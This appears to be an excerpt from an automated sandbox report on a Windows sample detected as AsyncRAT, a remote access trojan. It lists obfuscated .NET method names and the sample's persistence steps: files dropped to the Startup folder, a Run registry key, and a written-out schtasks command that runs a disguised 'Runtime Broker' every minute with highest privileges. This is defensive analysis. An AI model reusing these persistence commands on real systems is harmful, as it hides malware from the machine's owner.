Source: 0.2.80BvHOM51j.exe.1ee0bc0bf60.0.raw.unpack, akkQj1sqFfSSBzoPzzcJHWUTImoPHvJQ5obC9Mw1.cs	High entropy of concatenated method names: 'pAJejPeYzjpeABmxWAkwbiTw1mqxCBmWmzTSrx83', '_87FcV7zG86E30YrE8gQLgID0Pl0Rr8rZkIxWtvsL', 'v3sUlDIQcXFjjp98fRg32WcEry4fbZasOGIybWnP', '_84epM09kzCj1ocmmfMHdDDJHEGRKiElEqqmhabpMi6LzJY6cDBf2Vbkr6y', 'zSua969pyTVqty23ApV0ANHgAW7QrIlnwrBgTIVyrLUw8dJssslp6p58Ip', 'FnKRcw4KPNme0yZtl5FELK4OdN5xLbjT4cXFE4pfT1hFgAfHDJiRgSzpze', 'pc6HzlGBo11QPwPRRFQ6QRxbYEtDamkRqvINDP0CDIsZilUCHP6In3fFyu', '_82lVQ2aRHE9MNikTPEUcVF5nnzk8A7t3NtGHH2Nf0ii0pbq8qjriMOP8Lc', 'M297JKFH2OaGT0qMJHXjz69qKR52Hx7lNLBlEbEdrsfaB58kZw6qofBuHF', 'wlTS5WXqG2faQnePm2hvP6ctocY7uCb3JbkGwtH52XHtazaW4XP0FdlC0L'
Source: 0.2.80BvHOM51j.exe.1ee0bc0bf60.0.raw.unpack, MvsynE2XwtVDEliLiQwo3c.cs	High entropy of concatenated method names: 'ueNuYTmXQ6K8bfOElL57OU0hCnclTgziBvANqcTK', 'CBchHZE3WXHDMIFIqc5B43k2dzUvj6Crf6lCXYmY', 'arDnoot9r0xRAqgQNBWzZpMYSPsK0BYlt3OLGZav', 'y1Mq1pDHA1XXZwh82mGxkp5en9MUWuAwUltF827V'
Source: 0.2.80BvHOM51j.exe.1ee0bc0bf60.0.raw.unpack, Os6S553ieUGpaR9GelWERs.cs	High entropy of concatenated method names: 'Equals', 'GetHashCode', 'GetType', 'ToString', 'Create__Instance__', 'Dispose__Instance__', 'xishLqBUDDHpndP3Olfre38kEdoMck7seFJ9DibN', 'VR1rAbrBcGLrzpyEucWvGZChYhBDvpfhYfawlIUD', '_5XqXp0gqv8hTSag2ajjAvaGP10dcEs9cMBc4zc14', 'sVRWWQMYpJATbzfdzYcUeieHPwx1YqtvldaTNZ1S'
Source: 0.2.80BvHOM51j.exe.1ee0bc0bf60.0.raw.unpack, 0GxKZuckCqDxUPkmOCW34U.cs	High entropy of concatenated method names: 'Bmmzjl1eEbAyvOphJ3NWd7', 'SLK2lnpJa9DqMcztIV7Z6j', '_22uK1rjvw8vloqfU5w5X1X', 'HGPRHHTrnxEJWFsE9csHF5', 'juIdeSwIMWFfiPQ4drAnun', 'x76vGPuzOxXExP3IjzRh70', 'oXrEMZEoYSSPQxUVd7T9f4', 'YAhT9MPl1SE2dXfuYVR2ky', '_3aN0qCK0cpEAsjD3NIfE6B', 'Ls06vQidZK1lwZ26PYDiWby9PIdinAxtZ5Xn3vyvhMsdo0JEs1NbBDIIpnMUVhviMfm9Ja8qGnggbdS6bsYIdp80SjTToFasH7'
Source: 0.2.80BvHOM51j.exe.1ee0bc0bf60.0.raw.unpack, md2ft4QQ054AZsx7gfxFKY.cs	High entropy of concatenated method names: '_7PQzntkIgqUgQsMoxHJZqq', 'jIodqW6ONadRjjz3WeYp6M', 'qtSeqTl4ziWJXqLgA8o84m', 'p4BSyG1dlTL4n7KrKy4hsK', '_6zemP3ZIvCqECvrqusVCsL', 'ZTCPpNcUr2O2bUdrJzCojp', 'LjEKFO7CGv9NGo1ZhOgdI8', 'xxlCP1ulPAwtc8MF4NhcGe', '_212MJufRbVPyH2jCu3oIzf', '_4Xw4OXNI1d1qSYQpD01Hae'
Source: 0.2.80BvHOM51j.exe.1ee0bc0bf60.0.raw.unpack, RdUutxlZeW6b75qg39GcLx.cs	High entropy of concatenated method names: 'hwfypxN1I0Xu9nUKDI004X', 'LdBuwBfcBv4NnPEz8T8X7a', 'QUPNKB1P89B0FKSjeuXNWi', 'VrcnhbileTMnFeAld50Ovp', 'oOmkJuahCWBHIZeomGYZ0j', 'MrBI43GMqy0STlo4hSLczL', 'G54CpebrTzzlzj2DjH8IAk', 'eg2HijXfe1zzrpLn995PLd', 'FOiY6e46MAf7yAyJMJ8LWX', 'qZXTahmEtqkIzSId28uLue'
Source: 0.2.80BvHOM51j.exe.1ee0bc0bf60.0.raw.unpack, YebcPNnUFO90wmxhl0MY1ZHpDaQWqNuizhyA4TrgUQPuFv4liXqUc5RGXDmbxW5WViuzZfd4IyWHl43y534vtrIVxLU4tW93Fw.cs	High entropy of concatenated method names: 'smSCMyoMoDjr73Qxx8f7UbOP0VLwZbSmYOgGKdghi4wrWPRz1NrKCybK1egAf1LO0kChlRQ2F92NSFRuOCpiSRPp8VlolEkOOo', '_6Hz2tWriIwkMZKQolHgu9LsDb', 'VeUuCjc2n837zVct5vb35fJl6', 'wf71SGtTeYTCBhVM8b2w6WqzV', 'y9iqqkHxkE7su85s7hERtkyCo'
Source: 0.2.80BvHOM51j.exe.1ee0bc0bf60.0.raw.unpack, LoyGFB7AXqpjgvOg6wxGgp.cs	High entropy of concatenated method names: '_90W7Jaog83egtDjvo1o5CK', 'nJ7ntGzX47CKonow5A0vgp', 'O2xVHGv3U4E3w5rrfljzqj', 'g5eb3mckMWAVFx09ZDxluo', '_5urqIm7hHmmlwTDmBSd82J', 'k9TzoI18SmnxPyK0qnHODu', 'Vsy4NCzCRs6F6pxYXXb26i', 'gthzzVHmtJJWAXchBy7Eew', '_6mgXF19oU5LoB31TB9kHOT', 'ZX2dlDuEjxIkMalw7zmgSa'
Source: 0.2.80BvHOM51j.exe.1ee0bc0bf60.0.raw.unpack, v3PUPliSrRwajxOVLYu7vQWg1nl9cRDbIWcPu9FDSMGDs9M5dyDOj4Kg8YRh8Qs7IDXosTFkN4kzioKZ1ollrdyfkTdo5Jf780.cs	High entropy of concatenated method names: 'XrADoq840cHVl6CXqxGMP0DbxEcYtW0vM95TENDS2IOaSzVWwn0isSymulrP7YLhY5VoRrOlqw6bfSMQqwHQSbHBLLAa1Ef4rj', 'uW5xitMio0iacA9UF293v0e3WSHWMxtjNbG5Skmmr5Y3a4vPEDfGReA1D8SpxwIlnIaZfcJPjqD5lCH5vmX1tQAZg8WE3CqsF8', '_1fEUqyLy3B2qErJ4vF2ufGQsyFZbqhsAXmP2lp5ihY4PRn6Fr6athamcEUT4cykdTIN7KUx7RVLdqj8gEhdDFceAusqoPoQCPN', 'KCfZCDt0yV2c1oxyjxvp05iKyEhWfwbC0VQiBUwv', 'U0mZo5C4qSvfxFexd5aj2RAP7gAvtaKlduVrGo9O', 'w08Zrv9021WUoVd5k7v1yyaT9vGJQgngBztfQu7b', 'tSIBHg4hj4rDCGP66cY8tcBz1mJoRFqNx3xRJGPi', 'cnfbJ0l5coNpDcFaVqH4KPJsqpdLrk05uVpzfD64', 'b4e5T9Vsn7sA5ATeitGY3FzI6KquCIXado8HeN1K', 'D5iotIuPr2IpnLKPVNJneO6ievNgVteI8jeNs20r'
Source: 0.2.80BvHOM51j.exe.1ee0bc0bf60.0.raw.unpack, s0bNe9DEmn4vM6ipvUKzuuWGMiwhF8jm87v9qNjX3mYDm1VmkjOjD8eeGbjtd4eSBRbW4zGyDC5noVPdSARrgeRtetwEDtLPGp.cs	High entropy of concatenated method names: '_71YpB3WsDwiwcdqJQiOqJdGj7Zw1RHRFqccIgLuBiFx0X0mM4fxj7hrEMdabxBbjWK1ivITzKWqxpl8wICA9xqwNMAAjqsbKO2', 'sKo3IOu6OR8xlJKpzp9u5pdeK2UPLOXwbESgXpfV4aZiBhumM671V4ZJphndrjx8FYIII9txkyx9oChoWBlh6LmFlPZmT0JSkC', 'yvQTB2l0n7nhS1uO1UutCbCEKE3ZcwfcdDWWdTALGNiXgkqftiGYl5qRhQd95DHTrxWCdDCiVMYTd3dol4I0pmixIoThT23For', 'GDtQGToK0Y4wmyHMNr9vfv3WNb1vUW4AnR8scvzya1lz5Rm0SyzQWktW0tLPYdljokNRiwRzDJSo5klWz4Urs9prPXFmSS1pM2', 'vcs1qe4kXrdFWmFUkIXXLc9UN', '_1qVZuxhxB0Ar77RDjrrnuqH9Q', 'veug0NdovoNJfg1r4S6tvzp8W', '_5cEFTHwaYLKV1qtVRrOzac4x2', 'L4snQdJyVo7IPSFxtdeGsdEfG', 'jlwh1WnUiLjO85TmaAu3Oa0eq'
Source: 0.2.80BvHOM51j.exe.1ee0bc0bf60.0.raw.unpack, 1IWwpmd4g6bNpXA7xoh7qb.cs	High entropy of concatenated method names: '_0PIz3RO6CEDuFNVFtXH6em', 'g7B0Wr7fmT6jx44gzQx05jS3S', 'KCkDLkj1fpfMKDGDHp4yIFbhm', 'O8lc7rnB3bHiE9eOBlf2tNoeJ', 'nJjyxDU7YUhFrLuBQXJZwWpcM'
Source: Runtime Broker.2.dr, akkQj1sqFfSSBzoPzzcJHWUTImoPHvJQ5obC9Mw1.cs	High entropy of concatenated method names: 'pAJejPeYzjpeABmxWAkwbiTw1mqxCBmWmzTSrx83', '_87FcV7zG86E30YrE8gQLgID0Pl0Rr8rZkIxWtvsL', 'v3sUlDIQcXFjjp98fRg32WcEry4fbZasOGIybWnP', '_84epM09kzCj1ocmmfMHdDDJHEGRKiElEqqmhabpMi6LzJY6cDBf2Vbkr6y', 'zSua969pyTVqty23ApV0ANHgAW7QrIlnwrBgTIVyrLUw8dJssslp6p58Ip', 'FnKRcw4KPNme0yZtl5FELK4OdN5xLbjT4cXFE4pfT1hFgAfHDJiRgSzpze', 'pc6HzlGBo11QPwPRRFQ6QRxbYEtDamkRqvINDP0CDIsZilUCHP6In3fFyu', '_82lVQ2aRHE9MNikTPEUcVF5nnzk8A7t3NtGHH2Nf0ii0pbq8qjriMOP8Lc', 'M297JKFH2OaGT0qMJHXjz69qKR52Hx7lNLBlEbEdrsfaB58kZw6qofBuHF', 'wlTS5WXqG2faQnePm2hvP6ctocY7uCb3JbkGwtH52XHtazaW4XP0FdlC0L'
Source: Runtime Broker.2.dr, MvsynE2XwtVDEliLiQwo3c.cs	High entropy of concatenated method names: 'ueNuYTmXQ6K8bfOElL57OU0hCnclTgziBvANqcTK', 'CBchHZE3WXHDMIFIqc5B43k2dzUvj6Crf6lCXYmY', 'arDnoot9r0xRAqgQNBWzZpMYSPsK0BYlt3OLGZav', 'y1Mq1pDHA1XXZwh82mGxkp5en9MUWuAwUltF827V'
Source: Runtime Broker.2.dr, Os6S553ieUGpaR9GelWERs.cs	High entropy of concatenated method names: 'Equals', 'GetHashCode', 'GetType', 'ToString', 'Create__Instance__', 'Dispose__Instance__', 'xishLqBUDDHpndP3Olfre38kEdoMck7seFJ9DibN', 'VR1rAbrBcGLrzpyEucWvGZChYhBDvpfhYfawlIUD', '_5XqXp0gqv8hTSag2ajjAvaGP10dcEs9cMBc4zc14', 'sVRWWQMYpJATbzfdzYcUeieHPwx1YqtvldaTNZ1S'
Source: Runtime Broker.2.dr, 0GxKZuckCqDxUPkmOCW34U.cs	High entropy of concatenated method names: 'Bmmzjl1eEbAyvOphJ3NWd7', 'SLK2lnpJa9DqMcztIV7Z6j', '_22uK1rjvw8vloqfU5w5X1X', 'HGPRHHTrnxEJWFsE9csHF5', 'juIdeSwIMWFfiPQ4drAnun', 'x76vGPuzOxXExP3IjzRh70', 'oXrEMZEoYSSPQxUVd7T9f4', 'YAhT9MPl1SE2dXfuYVR2ky', '_3aN0qCK0cpEAsjD3NIfE6B', 'Ls06vQidZK1lwZ26PYDiWby9PIdinAxtZ5Xn3vyvhMsdo0JEs1NbBDIIpnMUVhviMfm9Ja8qGnggbdS6bsYIdp80SjTToFasH7'
Source: Runtime Broker.2.dr, md2ft4QQ054AZsx7gfxFKY.cs	High entropy of concatenated method names: '_7PQzntkIgqUgQsMoxHJZqq', 'jIodqW6ONadRjjz3WeYp6M', 'qtSeqTl4ziWJXqLgA8o84m', 'p4BSyG1dlTL4n7KrKy4hsK', '_6zemP3ZIvCqECvrqusVCsL', 'ZTCPpNcUr2O2bUdrJzCojp', 'LjEKFO7CGv9NGo1ZhOgdI8', 'xxlCP1ulPAwtc8MF4NhcGe', '_212MJufRbVPyH2jCu3oIzf', '_4Xw4OXNI1d1qSYQpD01Hae'
Source: Runtime Broker.2.dr, RdUutxlZeW6b75qg39GcLx.cs	High entropy of concatenated method names: 'hwfypxN1I0Xu9nUKDI004X', 'LdBuwBfcBv4NnPEz8T8X7a', 'QUPNKB1P89B0FKSjeuXNWi', 'VrcnhbileTMnFeAld50Ovp', 'oOmkJuahCWBHIZeomGYZ0j', 'MrBI43GMqy0STlo4hSLczL', 'G54CpebrTzzlzj2DjH8IAk', 'eg2HijXfe1zzrpLn995PLd', 'FOiY6e46MAf7yAyJMJ8LWX', 'qZXTahmEtqkIzSId28uLue'
Source: Runtime Broker.2.dr, YebcPNnUFO90wmxhl0MY1ZHpDaQWqNuizhyA4TrgUQPuFv4liXqUc5RGXDmbxW5WViuzZfd4IyWHl43y534vtrIVxLU4tW93Fw.cs	High entropy of concatenated method names: 'smSCMyoMoDjr73Qxx8f7UbOP0VLwZbSmYOgGKdghi4wrWPRz1NrKCybK1egAf1LO0kChlRQ2F92NSFRuOCpiSRPp8VlolEkOOo', '_6Hz2tWriIwkMZKQolHgu9LsDb', 'VeUuCjc2n837zVct5vb35fJl6', 'wf71SGtTeYTCBhVM8b2w6WqzV', 'y9iqqkHxkE7su85s7hERtkyCo'
Source: Runtime Broker.2.dr, LoyGFB7AXqpjgvOg6wxGgp.cs	High entropy of concatenated method names: '_90W7Jaog83egtDjvo1o5CK', 'nJ7ntGzX47CKonow5A0vgp', 'O2xVHGv3U4E3w5rrfljzqj', 'g5eb3mckMWAVFx09ZDxluo', '_5urqIm7hHmmlwTDmBSd82J', 'k9TzoI18SmnxPyK0qnHODu', 'Vsy4NCzCRs6F6pxYXXb26i', 'gthzzVHmtJJWAXchBy7Eew', '_6mgXF19oU5LoB31TB9kHOT', 'ZX2dlDuEjxIkMalw7zmgSa'
Source: Runtime Broker.2.dr, v3PUPliSrRwajxOVLYu7vQWg1nl9cRDbIWcPu9FDSMGDs9M5dyDOj4Kg8YRh8Qs7IDXosTFkN4kzioKZ1ollrdyfkTdo5Jf780.cs	High entropy of concatenated method names: 'XrADoq840cHVl6CXqxGMP0DbxEcYtW0vM95TENDS2IOaSzVWwn0isSymulrP7YLhY5VoRrOlqw6bfSMQqwHQSbHBLLAa1Ef4rj', 'uW5xitMio0iacA9UF293v0e3WSHWMxtjNbG5Skmmr5Y3a4vPEDfGReA1D8SpxwIlnIaZfcJPjqD5lCH5vmX1tQAZg8WE3CqsF8', '_1fEUqyLy3B2qErJ4vF2ufGQsyFZbqhsAXmP2lp5ihY4PRn6Fr6athamcEUT4cykdTIN7KUx7RVLdqj8gEhdDFceAusqoPoQCPN', 'KCfZCDt0yV2c1oxyjxvp05iKyEhWfwbC0VQiBUwv', 'U0mZo5C4qSvfxFexd5aj2RAP7gAvtaKlduVrGo9O', 'w08Zrv9021WUoVd5k7v1yyaT9vGJQgngBztfQu7b', 'tSIBHg4hj4rDCGP66cY8tcBz1mJoRFqNx3xRJGPi', 'cnfbJ0l5coNpDcFaVqH4KPJsqpdLrk05uVpzfD64', 'b4e5T9Vsn7sA5ATeitGY3FzI6KquCIXado8HeN1K', 'D5iotIuPr2IpnLKPVNJneO6ievNgVteI8jeNs20r'
Source: Runtime Broker.2.dr, s0bNe9DEmn4vM6ipvUKzuuWGMiwhF8jm87v9qNjX3mYDm1VmkjOjD8eeGbjtd4eSBRbW4zGyDC5noVPdSARrgeRtetwEDtLPGp.cs	High entropy of concatenated method names: '_71YpB3WsDwiwcdqJQiOqJdGj7Zw1RHRFqccIgLuBiFx0X0mM4fxj7hrEMdabxBbjWK1ivITzKWqxpl8wICA9xqwNMAAjqsbKO2', 'sKo3IOu6OR8xlJKpzp9u5pdeK2UPLOXwbESgXpfV4aZiBhumM671V4ZJphndrjx8FYIII9txkyx9oChoWBlh6LmFlPZmT0JSkC', 'yvQTB2l0n7nhS1uO1UutCbCEKE3ZcwfcdDWWdTALGNiXgkqftiGYl5qRhQd95DHTrxWCdDCiVMYTd3dol4I0pmixIoThT23For', 'GDtQGToK0Y4wmyHMNr9vfv3WNb1vUW4AnR8scvzya1lz5Rm0SyzQWktW0tLPYdljokNRiwRzDJSo5klWz4Urs9prPXFmSS1pM2', 'vcs1qe4kXrdFWmFUkIXXLc9UN', '_1qVZuxhxB0Ar77RDjrrnuqH9Q', 'veug0NdovoNJfg1r4S6tvzp8W', '_5cEFTHwaYLKV1qtVRrOzac4x2', 'L4snQdJyVo7IPSFxtdeGsdEfG', 'jlwh1WnUiLjO85TmaAu3Oa0eq'
Source: Runtime Broker.2.dr, 1IWwpmd4g6bNpXA7xoh7qb.cs	High entropy of concatenated method names: '_0PIz3RO6CEDuFNVFtXH6em', 'g7B0Wr7fmT6jx44gzQx05jS3S', 'KCkDLkj1fpfMKDGDHp4yIFbhm', 'O8lc7rnB3bHiE9eOBlf2tNoeJ', 'nJjyxDU7YUhFrLuBQXJZwWpcM'
Source: 2.2.coonfart.exe.12d61a78.0.raw.unpack, akkQj1sqFfSSBzoPzzcJHWUTImoPHvJQ5obC9Mw1.cs	High entropy of concatenated method names: 'pAJejPeYzjpeABmxWAkwbiTw1mqxCBmWmzTSrx83', '_87FcV7zG86E30YrE8gQLgID0Pl0Rr8rZkIxWtvsL', 'v3sUlDIQcXFjjp98fRg32WcEry4fbZasOGIybWnP', '_84epM09kzCj1ocmmfMHdDDJHEGRKiElEqqmhabpMi6LzJY6cDBf2Vbkr6y', 'zSua969pyTVqty23ApV0ANHgAW7QrIlnwrBgTIVyrLUw8dJssslp6p58Ip', 'FnKRcw4KPNme0yZtl5FELK4OdN5xLbjT4cXFE4pfT1hFgAfHDJiRgSzpze', 'pc6HzlGBo11QPwPRRFQ6QRxbYEtDamkRqvINDP0CDIsZilUCHP6In3fFyu', '_82lVQ2aRHE9MNikTPEUcVF5nnzk8A7t3NtGHH2Nf0ii0pbq8qjriMOP8Lc', 'M297JKFH2OaGT0qMJHXjz69qKR52Hx7lNLBlEbEdrsfaB58kZw6qofBuHF', 'wlTS5WXqG2faQnePm2hvP6ctocY7uCb3JbkGwtH52XHtazaW4XP0FdlC0L'
Source: 2.2.coonfart.exe.12d61a78.0.raw.unpack, MvsynE2XwtVDEliLiQwo3c.cs	High entropy of concatenated method names: 'ueNuYTmXQ6K8bfOElL57OU0hCnclTgziBvANqcTK', 'CBchHZE3WXHDMIFIqc5B43k2dzUvj6Crf6lCXYmY', 'arDnoot9r0xRAqgQNBWzZpMYSPsK0BYlt3OLGZav', 'y1Mq1pDHA1XXZwh82mGxkp5en9MUWuAwUltF827V'
Source: 2.2.coonfart.exe.12d61a78.0.raw.unpack, Os6S553ieUGpaR9GelWERs.cs	High entropy of concatenated method names: 'Equals', 'GetHashCode', 'GetType', 'ToString', 'Create__Instance__', 'Dispose__Instance__', 'xishLqBUDDHpndP3Olfre38kEdoMck7seFJ9DibN', 'VR1rAbrBcGLrzpyEucWvGZChYhBDvpfhYfawlIUD', '_5XqXp0gqv8hTSag2ajjAvaGP10dcEs9cMBc4zc14', 'sVRWWQMYpJATbzfdzYcUeieHPwx1YqtvldaTNZ1S'
Source: 2.2.coonfart.exe.12d61a78.0.raw.unpack, 0GxKZuckCqDxUPkmOCW34U.cs	High entropy of concatenated method names: 'Bmmzjl1eEbAyvOphJ3NWd7', 'SLK2lnpJa9DqMcztIV7Z6j', '_22uK1rjvw8vloqfU5w5X1X', 'HGPRHHTrnxEJWFsE9csHF5', 'juIdeSwIMWFfiPQ4drAnun', 'x76vGPuzOxXExP3IjzRh70', 'oXrEMZEoYSSPQxUVd7T9f4', 'YAhT9MPl1SE2dXfuYVR2ky', '_3aN0qCK0cpEAsjD3NIfE6B', 'Ls06vQidZK1lwZ26PYDiWby9PIdinAxtZ5Xn3vyvhMsdo0JEs1NbBDIIpnMUVhviMfm9Ja8qGnggbdS6bsYIdp80SjTToFasH7'
Source: 2.2.coonfart.exe.12d61a78.0.raw.unpack, md2ft4QQ054AZsx7gfxFKY.cs	High entropy of concatenated method names: '_7PQzntkIgqUgQsMoxHJZqq', 'jIodqW6ONadRjjz3WeYp6M', 'qtSeqTl4ziWJXqLgA8o84m', 'p4BSyG1dlTL4n7KrKy4hsK', '_6zemP3ZIvCqECvrqusVCsL', 'ZTCPpNcUr2O2bUdrJzCojp', 'LjEKFO7CGv9NGo1ZhOgdI8', 'xxlCP1ulPAwtc8MF4NhcGe', '_212MJufRbVPyH2jCu3oIzf', '_4Xw4OXNI1d1qSYQpD01Hae'
Source: 2.2.coonfart.exe.12d61a78.0.raw.unpack, RdUutxlZeW6b75qg39GcLx.cs	High entropy of concatenated method names: 'hwfypxN1I0Xu9nUKDI004X', 'LdBuwBfcBv4NnPEz8T8X7a', 'QUPNKB1P89B0FKSjeuXNWi', 'VrcnhbileTMnFeAld50Ovp', 'oOmkJuahCWBHIZeomGYZ0j', 'MrBI43GMqy0STlo4hSLczL', 'G54CpebrTzzlzj2DjH8IAk', 'eg2HijXfe1zzrpLn995PLd', 'FOiY6e46MAf7yAyJMJ8LWX', 'qZXTahmEtqkIzSId28uLue'
Source: 2.2.coonfart.exe.12d61a78.0.raw.unpack, YebcPNnUFO90wmxhl0MY1ZHpDaQWqNuizhyA4TrgUQPuFv4liXqUc5RGXDmbxW5WViuzZfd4IyWHl43y534vtrIVxLU4tW93Fw.cs	High entropy of concatenated method names: 'smSCMyoMoDjr73Qxx8f7UbOP0VLwZbSmYOgGKdghi4wrWPRz1NrKCybK1egAf1LO0kChlRQ2F92NSFRuOCpiSRPp8VlolEkOOo', '_6Hz2tWriIwkMZKQolHgu9LsDb', 'VeUuCjc2n837zVct5vb35fJl6', 'wf71SGtTeYTCBhVM8b2w6WqzV', 'y9iqqkHxkE7su85s7hERtkyCo'
Source: 2.2.coonfart.exe.12d61a78.0.raw.unpack, LoyGFB7AXqpjgvOg6wxGgp.cs	High entropy of concatenated method names: '_90W7Jaog83egtDjvo1o5CK', 'nJ7ntGzX47CKonow5A0vgp', 'O2xVHGv3U4E3w5rrfljzqj', 'g5eb3mckMWAVFx09ZDxluo', '_5urqIm7hHmmlwTDmBSd82J', 'k9TzoI18SmnxPyK0qnHODu', 'Vsy4NCzCRs6F6pxYXXb26i', 'gthzzVHmtJJWAXchBy7Eew', '_6mgXF19oU5LoB31TB9kHOT', 'ZX2dlDuEjxIkMalw7zmgSa'
Source: 2.2.coonfart.exe.12d61a78.0.raw.unpack, v3PUPliSrRwajxOVLYu7vQWg1nl9cRDbIWcPu9FDSMGDs9M5dyDOj4Kg8YRh8Qs7IDXosTFkN4kzioKZ1ollrdyfkTdo5Jf780.cs	High entropy of concatenated method names: 'XrADoq840cHVl6CXqxGMP0DbxEcYtW0vM95TENDS2IOaSzVWwn0isSymulrP7YLhY5VoRrOlqw6bfSMQqwHQSbHBLLAa1Ef4rj', 'uW5xitMio0iacA9UF293v0e3WSHWMxtjNbG5Skmmr5Y3a4vPEDfGReA1D8SpxwIlnIaZfcJPjqD5lCH5vmX1tQAZg8WE3CqsF8', '_1fEUqyLy3B2qErJ4vF2ufGQsyFZbqhsAXmP2lp5ihY4PRn6Fr6athamcEUT4cykdTIN7KUx7RVLdqj8gEhdDFceAusqoPoQCPN', 'KCfZCDt0yV2c1oxyjxvp05iKyEhWfwbC0VQiBUwv', 'U0mZo5C4qSvfxFexd5aj2RAP7gAvtaKlduVrGo9O', 'w08Zrv9021WUoVd5k7v1yyaT9vGJQgngBztfQu7b', 'tSIBHg4hj4rDCGP66cY8tcBz1mJoRFqNx3xRJGPi', 'cnfbJ0l5coNpDcFaVqH4KPJsqpdLrk05uVpzfD64', 'b4e5T9Vsn7sA5ATeitGY3FzI6KquCIXado8HeN1K', 'D5iotIuPr2IpnLKPVNJneO6ievNgVteI8jeNs20r'
Source: 2.2.coonfart.exe.12d61a78.0.raw.unpack, s0bNe9DEmn4vM6ipvUKzuuWGMiwhF8jm87v9qNjX3mYDm1VmkjOjD8eeGbjtd4eSBRbW4zGyDC5noVPdSARrgeRtetwEDtLPGp.cs	High entropy of concatenated method names: '_71YpB3WsDwiwcdqJQiOqJdGj7Zw1RHRFqccIgLuBiFx0X0mM4fxj7hrEMdabxBbjWK1ivITzKWqxpl8wICA9xqwNMAAjqsbKO2', 'sKo3IOu6OR8xlJKpzp9u5pdeK2UPLOXwbESgXpfV4aZiBhumM671V4ZJphndrjx8FYIII9txkyx9oChoWBlh6LmFlPZmT0JSkC', 'yvQTB2l0n7nhS1uO1UutCbCEKE3ZcwfcdDWWdTALGNiXgkqftiGYl5qRhQd95DHTrxWCdDCiVMYTd3dol4I0pmixIoThT23For', 'GDtQGToK0Y4wmyHMNr9vfv3WNb1vUW4AnR8scvzya1lz5Rm0SyzQWktW0tLPYdljokNRiwRzDJSo5klWz4Urs9prPXFmSS1pM2', 'vcs1qe4kXrdFWmFUkIXXLc9UN', '_1qVZuxhxB0Ar77RDjrrnuqH9Q', 'veug0NdovoNJfg1r4S6tvzp8W', '_5cEFTHwaYLKV1qtVRrOzac4x2', 'L4snQdJyVo7IPSFxtdeGsdEfG', 'jlwh1WnUiLjO85TmaAu3Oa0eq'
Source: 2.2.coonfart.exe.12d61a78.0.raw.unpack, 1IWwpmd4g6bNpXA7xoh7qb.cs	High entropy of concatenated method names: '_0PIz3RO6CEDuFNVFtXH6em', 'g7B0Wr7fmT6jx44gzQx05jS3S', 'KCkDLkj1fpfMKDGDHp4yIFbhm', 'O8lc7rnB3bHiE9eOBlf2tNoeJ', 'nJjyxDU7YUhFrLuBQXJZwWpcM'

Source: C:\Users\user\Desktop\80BvHOM51j.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\45b52685-cc32-47e5-abd7-306bfc875622[1]	Jump to dropped file
Source: C:\Users\user\Desktop\80BvHOM51j.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	File created: C:\Users\Public\Runtime Broker	Jump to dropped file

Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe

File created: C:\Users\Public\Runtime Broker

Jump to dropped file

Source: C:\Users\user\Desktop\80BvHOM51j.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\45b52685-cc32-47e5-abd7-306bfc875622[1]			Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	File created: C:\Users\Public\Runtime Broker			Jump to dropped file

Boot Survival

Yara detected AsyncRAT

Source: Yara match

File source: Process Memory Space: coonfart.exe PID: 4320, type: MEMORYSTR

Drops PE files to the startup folder

Source: C:\Users\user\Desktop\80BvHOM51j.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe

Jump to dropped file

Drops PE files to the user root directory

Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe

File created: C:\Users\Public\Runtime Broker

Jump to dropped file

Drops script or batch files to the startup folder

Source: C:\Users\user\Desktop\80BvHOM51j.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.bat

Jump to dropped file

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe

Process created: C:\Windows\System32\schtasks.exe "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "Runtime Broker" /tr "C:\Users\Public\Runtime Broker"

Source: C:\Users\user\Desktop\80BvHOM51j.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe

Jump to behavior

Source: C:\Users\user\Desktop\80BvHOM51j.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Jump to behavior
Source: C:\Users\user\Desktop\80BvHOM51j.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.bat	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Runtime Broker.lnk	Jump to behavior

Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Runtime Broker			Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Runtime Broker			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
